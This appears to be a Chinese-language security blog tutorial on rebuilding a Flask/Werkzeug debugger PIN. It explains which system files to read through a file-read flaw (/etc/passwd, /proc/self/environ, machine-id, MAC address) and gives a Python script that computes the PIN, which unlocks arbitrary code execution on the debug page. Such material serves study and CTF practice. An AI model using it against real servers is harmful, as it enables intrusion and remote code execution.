计算 Flask PIN 码
2022-08-07 06:24:00

前言

Flask 在 debug 模式下会生成一个 Debugger PIN

calico@ubuntu:~/Code/flask$ python3 app.py 
 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
 * Restarting with stat
 * Debugger is active!
 * Debugger pin code: 169-851-075

通过这个 pin 码,我们可以在报错页面执行任意 python 代码

值得注意的是:在同一台机器上,多次重启 Flask 服务,PIN 码值不改变。也就是说 PIN 码是一个固定值

生成 PIN 码

分析文件见下

前置条件

只要获取了以下六个参数就可以在本地构造 PIN 码

  • username 启动这个 Flask 的用户
  • modname 一般默认 flask.app
  • getattr(app, 'name', getattr(app.class, 'name')) 一般默认 flask.app 为 Flask
  • getattr(mod, 'file', None) 为 flask 目录下的一个 app.py 的绝对路径,可在报错页面看到
  • str(uuid.getnode()) 是网卡 mac 地址的十进制表达式
  • get_machine_id() 系统 id

当网站存在 LFI 或任意文件读取时,就可以轻松获取这六个参数

  • username 可以从 /etc/passwd 或者 /proc/self/environ 环境变量中读取
  • str(uuid.getnode()) 可以从 /sys/class/net/eth0/address/sys/class/net/ens33/address 中读取
  • getattr(mod, 'file', None) 从报错页中获取,注意 python3 为 app.py,python2 为 app.pyc
  • get_machine_id()
    • linux 读取这三个文 /proc/self/cgroup/etc/machine-id/proc/sys/kernel/random/boot_id
    • windows 读取注册表中的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

新旧差异


需要注意的是,新旧版本中 `get_machine_id()` 函数的实现不同

https://github.com/pallets/werkzeug/commit/617309a7c317ae1ade428de48f5bc4a906c2950f

从修改中可以看到

  • 旧版中依序读取 /proc/self/cgroup/etc/machine-id/proc/sys/kernel/random/boot_id 三个文件,只要读取到一个文件的内容,立马返回值
  • 新版中是从 /etc/machine-id/proc/sys/kernel/random/boot_id 中读到一个值后立即 break,然后和 /proc/self/cgroup 中的 id 值拼接

另外一个需要注意的是新版中中使用 SHA1 的 hash 算法,而不是旧版的 MD5 算法

脚本

import hashlib
from itertools import chain

def get_machine_id():
    # https://github.com/pallets/werkzeug/blob/f0c26b5e842fde616530a5f12a0087228f29d0ae/src/werkzeug/debug/__init__.py#L47
    
    linux = b""

    # proc/sys/kernel/random/boot_id
    boot_id = "f615c180-18e4-4ffa-bc03-e7cedbde8088".encode()

    # /proc/self/cgroup
    group = open("cgroup.txt", 'rb')
    cgroup = group.readline().strip().rpartition(b"/")[2]

    return linux + boot_id + cgroup

probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    # '52242498922',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '2485377892356', # /sys/class/net/eth0/address
    # '19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
    get_machine_id()
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

需要注意的是,新旧版本的 werkzeug 生成 PIN 码的方式不一样

参考

https://cloud.tencent.com/developer/article/1657739

https://www.anquanke.com/post/id/197602

https://xz.aliyun.com/t/2553

https://www.cnblogs.com/HacTF/p/8160076.html